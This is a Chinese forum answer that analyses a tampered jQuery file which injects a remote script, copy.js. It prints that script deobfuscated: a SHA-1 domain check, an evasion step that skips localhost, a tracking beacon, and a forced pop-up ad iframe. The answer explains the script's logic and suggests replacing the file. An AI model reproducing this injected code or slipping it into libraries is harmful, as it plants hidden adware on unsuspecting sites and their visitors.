PHP中文网2017-04-11 12:44:57
先讲结论（信息不足，只能猜测）：最大的可能是这个jquery-2.1.1.min.js文件被篡改，在原版的基础上加入了类似
document.write('<script type="text/javascript" src="..."><\/script>');
的语句，将https://banquan.b0.upaiyun.com/copy.js加载到你的页面中。
最直接的解决方案是另外下载一个jQuery。感兴趣的话也可以下载一个jQuery 2.1.1 min文件与现有的文件做对比，找到具体是怎么注入的。
然后简单剖析一下这个注入的文件https://banquan.b0.upaiyun.com/copy.js
这个文件首先做了一个挑衅（或者是注入的标记）：
var urkill = true;
然后是一段混淆的代码，解析后是这个样子：
var meta = window.document.getElementsByTagName("meta")
, urcp_desc = "";
for (i in meta)
"undefined" != typeof meta[i].name && "urkeji.com" == meta[i].name.toLowerCase() && (urcp_desc = meta[i].content);
var dqurl = window.location.host;
dqdomain = dqurl.replace(/www./, "");
var b64pad = ""
, chrsz = 8;
function ur_safe(b) {
return binb2b64(core_sha1(str2binb(b), b.length * chrsz))
}
function core_sha1(b, a) {
b[a >> 5] |= 128 << 24 - a % 32;
b[(a + 64 >> 9 << 4) + 15] = a;
a = Array(80);
for (var c = 1732584193, d = -271733879, e = -1732584194, g = 271733878, h = -1009589776, k = 0; k < b.length; k += 16) {
for (var l = c, m = d, n = e, p = g, q = h, f = 0; 80 > f; f++) {
a[f] = 16 > f ? b[k + f] : rol(a[f - 3] ^ a[f - 8] ^ a[f - 14] ^ a[f - 16], 1);
var r = safe_add(safe_add(rol(c, 5), sha1_ft(f, d, e, g)), safe_add(safe_add(h, a[f]), sha1_kt(f)))
, h = g
, g = e
, e = rol(d, 30)
, d = c
, c = r
}
c = safe_add(c, l);
d = safe_add(d, m);
e = safe_add(e, n);
g = safe_add(g, p);
h = safe_add(h, q)
}
return [c, d, e, g, h]
}
function sha1_ft(b, a, c, d) {
return 20 > b ? a & c | ~a & d : 40 > b ? a ^ c ^ d : 60 > b ? a & c | a & d | c & d : a ^ c ^ d
}
function sha1_kt(b) {
return 20 > b ? 1518500249 : 40 > b ? 1859775393 : 60 > b ? -1894007588 : -899497514
}
function safe_add(b, a) {
var c = (b & 65535) + (a & 65535);
return (b >> 16) + (a >> 16) + (c >> 16) << 16 | c & 65535
}
function rol(b, a) {
return b << a | b >>> 32 - a
}
function str2binb(b) {
for (var a = [], c = (1 << chrsz) - 1, d = 0; d < b.length * chrsz; d += chrsz)
a[d >> 5] |= (b.charCodeAt(d / chrsz) & c) << 24 - d % 32;
return a
}
function binb2str(b) {
for (var a = "", c = (1 << chrsz) - 1, d = 0; d < 32 * b.length; d += chrsz)
a += String.fromCharCode(b[d >> 5] >>> 24 - d % 32 & c);
return a
}
function binb2b64(b) {
for (var a = "", c = 0; c < 4 * b.length; c += 3)
for (var d = (b[c >> 2] >> 8 * (3 - c % 4) & 255) << 16 | (b[c + 1 >> 2] >> 8 * (3 - (c + 1) % 4) & 255) << 8 | b[c + 2 >> 2] >> 8 * (3 - (c + 2) % 4) & 255, e = 0; 4 > e; e++)
a = 8 * c + 6 * e > 32 * b.length ? a + b64pad : a + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(d >> 6 * (3 - e) & 63);
return a
}
ur_safe(dqdomain) == urcp_desc || "localhost" == dqurl || "127.0.0.1" == dqurl ? !function() {
var b = window.location.href;
if (!/([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi.test(b)) {
var a;
a = "https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?r=" + encodeURIComponent("http://www.urkeji.com/");
b && (a += "&l=" + b);
(new Image).src = a
}
}(window) : window.onload = function() {
document.getElementsByTagName("body")[0].insertAdjacentHTML("afterBegin", '<p id="uradpop" style="display:block !important; border:solid 1px #666; border-radius:10px; position:fixed; width:360px !important; height:300px !important; bottom:5px !important; left:2px !important; z-index:2147483648; overflow:hidden;"><a href="javascript:void(0);" onclick="urdd()" style="position:absolute; top:5px; right:5px; z-index:2147483647; font-size:28px; font-weight:bold; color:#ff0000; text-decoration:none;">\u00d7</a><iframe src="http://www.urkeji.com/wenda/tui.html" scrolling="no" frameborder="0" style="width:360px; height:300px; margin:0;"></ifrasme></p>')
};
function urdd() {
document.getElementById("uradpop").style.display = "none"
};
主要分为两部分：一组SHA-1加密函数，以及一段DOM操作。基本逻辑是，如果当前页面不包含一个特殊的mega标签（content为SHA-1加密后的域名），则执行DOM操作，显示一个弹窗，内容包括iframe包裹的http://www.urkeji.com/wenda/tui.html。
而这段DOM操作是放在window.onload 里的，因而会被你在index.html末尾另加的一个window.onload 覆盖，从而阻止DOM操作。
据此推断，www.urkeji.com就是这段代码的罪魁祸首。
案情回顾：
urkeji.com 是帮助客户做网站的，小本经营，不温不火。为了加大宣传，想出了这么个主意：在jQuery文件中加入显示小广告的脚本，上传到各大网站与正规的jQuery混到一起。为了使自己的客户不受影响，改公司制作的网站都利用加密后的域名制作了一个特定的<mega>标签阻止小广告。同时在localhost上也阻止了小广告，以防被开发人员发现。。。
用心也算良苦了，就是做法太流氓。
reply
0
